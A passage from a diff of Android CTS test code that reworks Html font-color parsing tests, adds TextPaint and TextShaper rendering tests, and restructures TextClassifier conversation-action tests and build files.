+                new Object[] { "<font color=\"0100000007\">octal roll over</font>", 0xFF000007 },
+                new Object[] { "<font color=\"0x1000002\">hex roll over</font>", 0xFF000002 },
+        };
+    }
+
     @Test
-    public void testColor() {
+    @Parameters(method = "paramsForTestColor")
+    public void testColor(String html, int expectedColor) {
         final Class<ForegroundColorSpan> type = ForegroundColorSpan.class;
 
-        Spanned s = Html.fromHtml("<font color=\"#00FF00\">something</font>");
+        Spanned s = Html.fromHtml(html);
         ForegroundColorSpan[] colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF00FF00, colors[0].getForegroundColor());
+        if (colors.length == 0) {
+            fail("Failed to create a span from " + html);
+        }
+        int actualColor = colors[0].getForegroundColor();
+        assertEquals("Wrong color for " + html + "\nexpected: 0x"
+                + Integer.toHexString(expectedColor) + "\nactual: 0x"
+                + Integer.toHexString(actualColor), expectedColor, actualColor);
+    }
 
-        s = Html.fromHtml("<font color=\"navy\">NAVY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF000080, colors[0].getForegroundColor());
+    private static Object[] paramsForTestColorInvalid() {
+        return new Object[]{
+                "<font color=\"gibberish\">something</font>",
+                "<font color=\"WHITE\">doesn't work</font>",
+                "<font color=\"0xFF000000\">alpha not supported</font>",
+                "<font color=\"#88FFFFFF\">another with alpha</font>",
+                "<font color=\"#88FFFFFF00\">too many digits</font>",
+                "<font color=\"0x88FFFFFF00\">too many digits</font>",
+                "<font color=\"08\">not octal</font>",
+                "<font color=\"#GG\">not hex</font>",
+                "<font color=\"#00FF00+\">something</font>",
+                "<font color=\"[]\">brackets</font>",
+                "<font color=\"-01\">negative blue</font>",
+                "<font color=\"4294967000\">too big decimal</font>",
+                "<font color=\"01FFFFFFFF\">too big octal</font>",
+                "<font color=\"#FFFFFFF1\">too big hex</font>",
+        };
+    }
 
-        s = Html.fromHtml("<font color=\"gibberish\">something</font>");
-        colors = s.getSpans(0, s.length(), type);
+    @Test
+    @Parameters(method = "paramsForTestColorInvalid")
+    public void testColorInvalid(String html) {
+        final Class<ForegroundColorSpan> type = ForegroundColorSpan.class;
+
+        Spanned s = Html.fromHtml(html);
+        ForegroundColorSpan[] colors = s.getSpans(0, s.length(), type);
+        if (colors.length > 0) {
+            fail("Expected 0 spans from " + html + ". Got the color 0x"
+                    + Integer.toHexString(colors[0].getForegroundColor()));
+        }
         assertEquals(0, colors.length);
-
-        // By default use the color values from android.graphics.Color instead of HTML/CSS
-        s = Html.fromHtml("<font color=\"green\">GREEN</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF00FF00, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"gray\">GRAY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF888888, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"grey\">GREY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF888888, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"lightgray\">LIGHTGRAY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFFCCCCCC, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"lightgrey\">LIGHTGREY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFFCCCCCC, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"darkgray\">DARKGRAY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF444444, colors[0].getForegroundColor());
-
-        s = Html.fromHtml("<font color=\"darkgrey\">DARKGREY</font>");
-        colors = s.getSpans(0, s.length(), type);
-        assertEquals(0xFF444444, colors[0].getForegroundColor());
     }
 
     @Test
diff --git a/tests/tests/text/src/android/text/cts/TextPaintTest.java b/tests/tests/text/src/android/text/cts/TextPaintTest.java
index b9e770a..d5a6ca1 100644
--- a/tests/tests/text/src/android/text/cts/TextPaintTest.java
+++ b/tests/tests/text/src/android/text/cts/TextPaintTest.java
@@ -81,4 +81,13 @@
         } catch (NullPointerException e) {
         }
     }
+
+    // b/169080922
+    public void testInfinityTextSize_doesntCrash() {
+        Paint paint = new Paint();
+        paint.setTextSize(Float.POSITIVE_INFINITY);
+
+        // Making sure following measureText is not crashing
+        paint.measureText("Hello \uD83D\uDC4B");  // Latin characters and emoji
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/TextShaperTest.java b/tests/tests/text/src/android/text/cts/TextShaperTest.java
new file mode 100644
index 0000000..b43ef94
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/TextShaperTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Paint;
+import android.graphics.Typeface;
+import android.graphics.text.PositionedGlyphs;
+import android.graphics.text.TextRunShaper;
+import android.text.Layout;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextDirectionHeuristic;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+import android.text.TextShaper;
+import android.text.style.AbsoluteSizeSpan;
+import android.text.style.ForegroundColorSpan;
+import android.text.style.TypefaceSpan;
+import android.util.Pair;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class TextShaperTest {
+
+    private List<Pair<PositionedGlyphs, TextPaint>> shapeText(CharSequence text, TextPaint paint) {
+        ArrayList<Pair<PositionedGlyphs, TextPaint>> result = new ArrayList<>();
+        TextShaper.shapeText(text, 0, text.length(), TextDirectionHeuristics.LTR, paint,
+                (start, end, glyphs, p) -> {
+                result.add(new Pair(glyphs, new TextPaint(p)));
+            });
+        return result;
+    }
+
+    @Test
+    public void shapeText_noStyle() {
+        // Setup
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(100f);
+        String text = "Hello, World.";
+
+        // Act
+        // If the text is not styled, the result should be equal to TextShaper.shapeTextRun.
+        List<Pair<PositionedGlyphs, TextPaint>> glyphs = shapeText(text, paint);
+        PositionedGlyphs singleStyleResult =
+                TextRunShaper.shapeTextRun(text, 0, text.length(), 0, text.length(), 0f, 0f, false,
+                        paint);
+
+        // Asserts
+        assertThat(glyphs.size()).isEqualTo(1);
+        assertThat(glyphs.get(0).first).isEqualTo(singleStyleResult);
+        assertThat(glyphs.get(0).second.getTextSize()).isEqualTo(100f);
+    }
+
+    @Test
+    public void shapeText_multiStyle() {
+        // Setup
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(100f);
+
+        SpannableString text = new SpannableString("Hello, World.");
+
+        // Act
+        // If the text is not styled, the result should be equal to TextShaper.shapeTextRun.
+        text.setSpan(new AbsoluteSizeSpan(240), 0, 7, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 7, 13, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        List<Pair<PositionedGlyphs, TextPaint>> result = shapeText(text, paint);
+
+        // Asserts
+        assertThat(result.size()).isEqualTo(2);
+        assertThat(result.get(0).first.getOffsetX()).isEqualTo(0f);
+        assertThat(result.get(1).first.getOffsetX()).isGreaterThan(0f);
+        // Styled text shaper doesn't support vertical layout, so Y origin is always 0
+        assertThat(result.get(0).first.getOffsetY()).isEqualTo(0f);
+        assertThat(result.get(1).first.getOffsetY()).isEqualTo(0f);
+
+
+        // OEM may remove serif font, so expect only when there is a serif font.
+        if (!Typeface.SERIF.equals(Typeface.DEFAULT)) {
+            // The first character should be rendered by default font, Roboto. The last character
+            // should be rendered by serif font.
+            assertThat(result.get(0).first.getFont(0)).isNotEqualTo(result.get(1).first.getFont(0));
+        }
+
+        assertThat(result.get(0).second.getTextSize()).isEqualTo(240f);
+        assertThat(result.get(1).second.getTextSize()).isEqualTo(100f);
+    }
+
+    public void assertSameDrawResult(CharSequence text, TextPaint paint,
+            TextDirectionHeuristic textDir) {
+        // For some reasons, StaticLayout breaks text even if we give the exact the same amount
+        // of width. To avoid unexpected line breaking, adding 10px as a workaround.
+        int width = (int) Math.ceil(Layout.getDesiredWidth(text, paint)) + 10;
+        StaticLayout layout = StaticLayout.Builder.obtain(
+                text, 0, text.length(), paint, width)
+                .setTextDirection(textDir)
+                .setIncludePad(false).build();
+        int height = layout.getHeight();
+
+        // Expected bitmap output
+        Bitmap layoutResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas layoutCanvas = new Canvas(layoutResult);
+        layout.draw(layoutCanvas);
+
+        // actual bitmap output
+        Bitmap glyphsResult = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        Canvas glyphsCanvas = new Canvas(glyphsResult);
+
+        // StaticLayout uses the default font's ascent for baseline
+        Paint.FontMetricsInt fmi = paint.getFontMetricsInt();
+        // In the RTL paragraph, the shape result goes from right to left. StaticLayout
+        // automatically moves the drawing offset to the right most position. We do it by manual.
+        if (textDir.isRtl(text, 0, text.length())) {
+            glyphsCanvas.translate(width, -fmi.ascent);
+        } else {
+            glyphsCanvas.translate(0, -fmi.ascent);
+        }
+
+        // Draws text.
+        TextShaper.shapeText(text, 0, text.length(), textDir, paint,
+                (start, end, glyphs, drawPaint) -> {
+                    for (int i = 0; i < glyphs.glyphCount(); ++i) {
+                        glyphsCanvas.drawGlyphs(
+                                new int[] { glyphs.getGlyphId(i) },
+                                0,
+                                new float[] { glyphs.getGlyphX(i), glyphs.getGlyphY(i) },
+                                0,
+                                1,
+                                glyphs.getFont(i),
+                                drawPaint
+                        );
+                    }
+                });
+        assertThat(glyphsResult.sameAs(layoutResult)).isTrue();
+    }
+
+    @Test
+    public void testDrawConsistencyNoStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyNoStyleMultiFont() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("こんにちは、Android.", paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyMultiStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        SpannableString text = new SpannableString("こんにちは Android.");
+        text.setSpan(new AbsoluteSizeSpan(32), 3, 8, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new ForegroundColorSpan(Color.RED), 5, 10, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 6, 14, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.LTR);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("مرحبا, Android.", paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi2() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult("Hello, العالمية", paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidiMultiStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        SpannableString text = new SpannableString("مرحبا, Android.");
+        text.setSpan(new AbsoluteSizeSpan(32), 3, 8, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new ForegroundColorSpan(Color.RED), 5, 10, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 6, 14, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.RTL);
+    }
+
+    @Test
+    public void testDrawConsistencyBidi2MultiStyle() {
+        TextPaint paint = new TextPaint();
+        paint.setTextSize(32f);
+        paint.setColor(Color.BLUE);
+        SpannableString text = new SpannableString("Hello, العالمية");
+        text.setSpan(new AbsoluteSizeSpan(32), 3, 8, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new ForegroundColorSpan(Color.RED), 5, 10, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        text.setSpan(new TypefaceSpan("serif"), 6, 14, Spanned.SPAN_INCLUSIVE_EXCLUSIVE);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.FIRSTSTRONG_LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.LTR);
+        assertSameDrawResult(text, paint, TextDirectionHeuristics.RTL);
+    }
+}
diff --git a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
index 6d59b6e..5cf565f 100644
--- a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
@@ -35,7 +35,8 @@
     public void testConstructor() {
         new EasyEditSpan();
         new EasyEditSpan(PendingIntent.getActivity(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0));
+                InstrumentationRegistry.getTargetContext(), 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE));
 
         Parcel p = Parcel.obtain();
         try {
diff --git a/tests/tests/textclassifier/Android.bp b/tests/tests/textclassifier/Android.bp
index ba7df02..18bc8e2 100644
--- a/tests/tests/textclassifier/Android.bp
+++ b/tests/tests/textclassifier/Android.bp
@@ -29,14 +29,20 @@
     ],
     libs: ["android.test.base"],
     static_libs: [
+        "androidx.appcompat_appcompat",
         "androidx.test.core",
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "truth-prebuilt",
+        "androidx.test.espresso.core",
+        "androidx.test.ext.junit",
+
     ],
     srcs: [
         "src/**/*.java",
     ],
+    resource_dirs: ["res"],
     sdk_version: "test_current",
+    min_sdk_version: "30",
 }
diff --git a/tests/tests/textclassifier/AndroidManifest.xml b/tests/tests/textclassifier/AndroidManifest.xml
index 2cbbfcf..fc700e9 100644
--- a/tests/tests/textclassifier/AndroidManifest.xml
+++ b/tests/tests/textclassifier/AndroidManifest.xml
@@ -16,10 +16,13 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.view.textclassifier.cts">
+          package="android.view.textclassifier.cts">
+
+    <!-- TODO: change to 31 when it is finalized. -->
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
 
     <application android:label="TextClassifier TestCase">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <service
             android:name=".CtsTextClassifierService"
@@ -29,13 +32,15 @@
                 <action android:name="android.service.textclassifier.TextClassifierService"/>
             </intent-filter>
         </service>
+
+        <activity android:name=".TextViewActivity" android:theme="@style/NoAnimation"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.view.textclassifier.cts"
                      android:label="CTS tests of android.view.textclassifier">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+                   android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
index 2120ed3..f546663 100644
--- a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
+++ b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
@@ -29,4 +29,5 @@
         "mts"
     ],
     srcs: ["src/**/*.java"],
+    min_sdk_version: "30",
 }
diff --git a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/AndroidManifest.xml b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/AndroidManifest.xml
index f6e49a6..24b566d 100644
--- a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/AndroidManifest.xml
+++ b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/AndroidManifest.xml
@@ -18,6 +18,8 @@
           package="android.textclassifier.cts2"
           android:targetSandboxVersion="2">
 
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="31" />
+
     <application>
         <uses-library android:name="android.test.runner" />
 
diff --git a/tests/tests/textclassifier/res/layout/main.xml b/tests/tests/textclassifier/res/layout/main.xml
new file mode 100644
index 0000000..fe6f06b
--- /dev/null
+++ b/tests/tests/textclassifier/res/layout/main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"/>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/textclassifier/res/values/styles.xml b/tests/tests/textclassifier/res/values/styles.xml
new file mode 100644
index 0000000..448457c
--- /dev/null
+++ b/tests/tests/textclassifier/res/values/styles.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <style name="NoAnimation" parent="android:Theme.Light">
+        <item name="android:windowAnimationStyle">@null</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
new file mode 100644
index 0000000..bd66fca
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.PendingIntent;
+import android.app.RemoteAction;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.textclassifier.ConversationAction;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ConversationActionTest {
+    private static final String TEXT = "TEXT";
+    private static final float FLOAT_TOLERANCE = 0.01f;
+    private static final PendingIntent PENDING_INTENT = PendingIntent.getActivity(
+            InstrumentationRegistry.getTargetContext(),
+            0,
+            new Intent(),
+            PendingIntent.FLAG_IMMUTABLE);
+    private static final RemoteAction REMOTE_ACTION = new RemoteAction(
+            Icon.createWithData(new byte[0], 0, 0),
+            TEXT,
+            TEXT,
+            PENDING_INTENT);
+    private static final Bundle EXTRAS = new Bundle();
+    static {
+        EXTRAS.putString(TEXT, TEXT);
+    }
+
+    @Test
+    public void testConversationAction_minimal() {
+        ConversationAction conversationAction =
+                new ConversationAction.Builder(
+                        ConversationAction.TYPE_CALL_PHONE)
+                        .build();
+
+        ConversationAction recovered =
+                parcelizeDeparcelize(conversationAction,
+                        ConversationAction.CREATOR);
+
+        assertMinimalConversationAction(conversationAction);
+        assertMinimalConversationAction(recovered);
+    }
+
+    @Test
+    public void testConversationAction_full() {
+        ConversationAction conversationAction =
+                new ConversationAction.Builder(
+                        ConversationAction.TYPE_CALL_PHONE)
+                        .setConfidenceScore(1.0f)
+                        .setTextReply(TEXT)
+                        .setAction(REMOTE_ACTION)
+                        .setExtras(EXTRAS)
+                        .build();
+
+        ConversationAction recovered =
+                parcelizeDeparcelize(conversationAction,
+                        ConversationAction.CREATOR);
+
+        assertFullConversationAction(conversationAction);
+        assertFullConversationAction(recovered);
+    }
+
+    private static void assertMinimalConversationAction(
+            ConversationAction conversationAction) {
+        assertThat(conversationAction.getAction()).isNull();
+        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(0.0f);
+        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
+    }
+
+    private static void assertFullConversationAction(
+            ConversationAction conversationAction) {
+        assertThat(conversationAction.getAction().getTitle()).isEqualTo(TEXT);
+        assertThat(conversationAction.getConfidenceScore()).isWithin(FLOAT_TOLERANCE).of(1.0f);
+        assertThat(conversationAction.getType()).isEqualTo(ConversationAction.TYPE_CALL_PHONE);
+        assertThat(conversationAction.getTextReply()).isEqualTo(TEXT);
+        assertThat(conversationAction.getExtras().keySet()).containsExactly(TEXT);
+    }
+
+    private static <T extends Parcelable> T parcelizeDeparcelize(
+            T parcelable, Parcelable.Creator<T> creator) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        return creator.createFromParcel(parcel);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java
index 3434aba..05bdc59 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/ConversationActionsTest.java
@@ -15,14 +15,9 @@
  */
 package android.view.textclassifier.cts;
 
-
 import static com.google.common.truth.Truth.assertThat;
 
-import android.app.PendingIntent;
 import android.app.Person;
-import android.app.RemoteAction;
-import android.content.Intent;
-import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
@@ -30,7 +25,6 @@
 import android.view.textclassifier.ConversationActions;
 import android.view.textclassifier.TextClassifier;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -41,9 +35,7 @@
 import java.time.ZoneId;
 import java.time.ZonedDateTime;
 import java.util.Arrays;
-import java.util.Collection;
 import java.util.Collections;
-import java.util.List;
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
@@ -53,18 +45,7 @@
     private static final Person PERSON = new Person.Builder().setKey(TEXT).build();
     private static final ZonedDateTime TIME =
             ZonedDateTime.ofInstant(Instant.now(), ZoneId.systemDefault());
-    private static final float FLOAT_TOLERANCE = 0.01f;
-
     private static final Bundle EXTRAS = new Bundle();
-    private static final PendingIntent PENDING_INTENT = PendingIntent.getActivity(
-            InstrumentationRegistry.getTargetContext(), 0, new Intent(), 0);
-
-    private static final RemoteAction REMOTE_ACTION = new RemoteAction(
-            Icon.createWithData(new byte[0], 0, 0),
-            TEXT,
-            TEXT,
-            PENDING_INTENT);
-
     static {
         EXTRAS.putString(TEXT, TEXT);
     }
@@ -98,53 +79,6 @@
     }
 
     @Test
-    public void testTypeConfig_full() {
-        TextClassifier.EntityConfig typeConfig =
-                new TextClassifier.EntityConfig.Builder()
-                        .setIncludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
-                        .setExcludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
-                        .build();
-
-        TextClassifier.EntityConfig recovered =
-                parcelizeDeparcelize(typeConfig, TextClassifier.EntityConfig.CREATOR);
-
-        assertFullTypeConfig(typeConfig);
-        assertFullTypeConfig(recovered);
-    }
-
-    @Test
-    public void testTypeConfig_full_notIncludeTypesFromTextClassifier() {
-        TextClassifier.EntityConfig typeConfig =
-                new TextClassifier.EntityConfig.Builder()
-                        .includeTypesFromTextClassifier(false)
-                        .setIncludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_OPEN_URL))
-                        .setExcludedTypes(
-                                Collections.singletonList(ConversationAction.TYPE_CALL_PHONE))
-                        .build();
-
-        TextClassifier.EntityConfig recovered =
-                parcelizeDeparcelize(typeConfig, TextClassifier.EntityConfig.CREATOR);
-
-        assertFullTypeConfig_notIncludeTypesFromTextClassifier(typeConfig);
-        assertFullTypeConfig_notIncludeTypesFromTextClassifier(recovered);
-    }
-
-    @Test
-    public void testTypeConfig_minimal() {
-        TextClassifier.EntityConfig typeConfig =
-                new TextClassifier.EntityConfig.Builder().build();
-
-        TextClassifier.EntityConfig recovered =
-                parcelizeDeparcelize(typeConfig, TextClassifier.EntityConfig.CREATOR);
-
-        assertMinimalTypeConfig(typeConfig);
-        assertMinimalTypeConfig(recovered);
-    }
-
-    @Test
     public void testRequest_minimal() {
         ConversationActions.Message message =
                 new ConversationActions.Message.Builder(PERSON)
@@ -189,39 +123,7 @@
         assertFullRequest(recovered);
     }
 
-    @Test
-    public void testConversationAction_minimal() {
-        ConversationAction conversationAction =
-                new ConversationAction.Builder(
-                        ConversationAction.TYPE_CALL_PHONE)
-                        .build();
 
-        ConversationAction recovered =
-                parcelizeDeparcelize(conversationAction,
-                        ConversationAction.CREATOR);
-
-        assertMinimalConversationAction(conversationAction);
-        assertMinimalConversationAction(recovered);
-    }
-
-    @Test
-    public void testConversationAction_full() {
-        ConversationAction conversationAction =
-                new ConversationAction.Builder(
-                        ConversationAction.TYPE_CALL_PHONE)
-                        .setConfidenceScore(1.0f)
-                        .setTextReply(TEXT)
-                        .setAction(REMOTE_ACTION)
-                        .setExtras(EXTRAS)
-                        .build();
-
-        ConversationAction recovered =
-                parcelizeDeparcelize(conversationAction,
-                        ConversationAction.CREATOR);
-
-        assertFullConversationAction(conversationAction);
-        assertFullConversationAction(recovered);
-    }
 
     @Test
     public void testConversationActions_full() {
@@ -257,7 +159,7 @@
         assertMinimalConversationActions(recovered);
     }
 
-    private void assertFullMessage(ConversationActions.Message message) {
+    private static void assertFullMessage(ConversationActions.Message message) {
         assertThat(message.getText().toString()).isEqualTo(TEXT);
         assertThat(message.getAuthor()).isEqualTo(PERSON);
         assertThat(message.getExtras().keySet()).containsExactly(TEXT);
@@ -270,45 +172,7 @@
         assertThat(message.getReferenceTime()).isNull();
     }
 
-    private void assertFullTypeConfig(TextClassifier.EntityConfig typeConfig) {
-        List<String> extraTypesFromTextClassifier = Arrays.asList(
-                ConversationAction.TYPE_CALL_PHONE,
-                ConversationAction.TYPE_CREATE_REMINDER);
-
-        Collection<String> resolvedTypes =
-                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
-
-        assertThat(typeConfig.shouldIncludeTypesFromTextClassifier()).isTrue();
-        assertThat(typeConfig.resolveEntityListModifications(Collections.emptyList()))
-                .containsExactly(ConversationAction.TYPE_OPEN_URL);
-        assertThat(resolvedTypes).containsExactly(
-                ConversationAction.TYPE_OPEN_URL, ConversationAction.TYPE_CREATE_REMINDER);
-    }
-
-    private void assertFullTypeConfig_notIncludeTypesFromTextClassifier(
-            TextClassifier.EntityConfig typeConfig) {
-        List<String> extraTypesFromTextClassifier = Arrays.asList(
-                ConversationAction.TYPE_CALL_PHONE,
-                ConversationAction.TYPE_CREATE_REMINDER);
-
-        Collection<String> resolvedTypes =
-                typeConfig.resolveEntityListModifications(extraTypesFromTextClassifier);
-
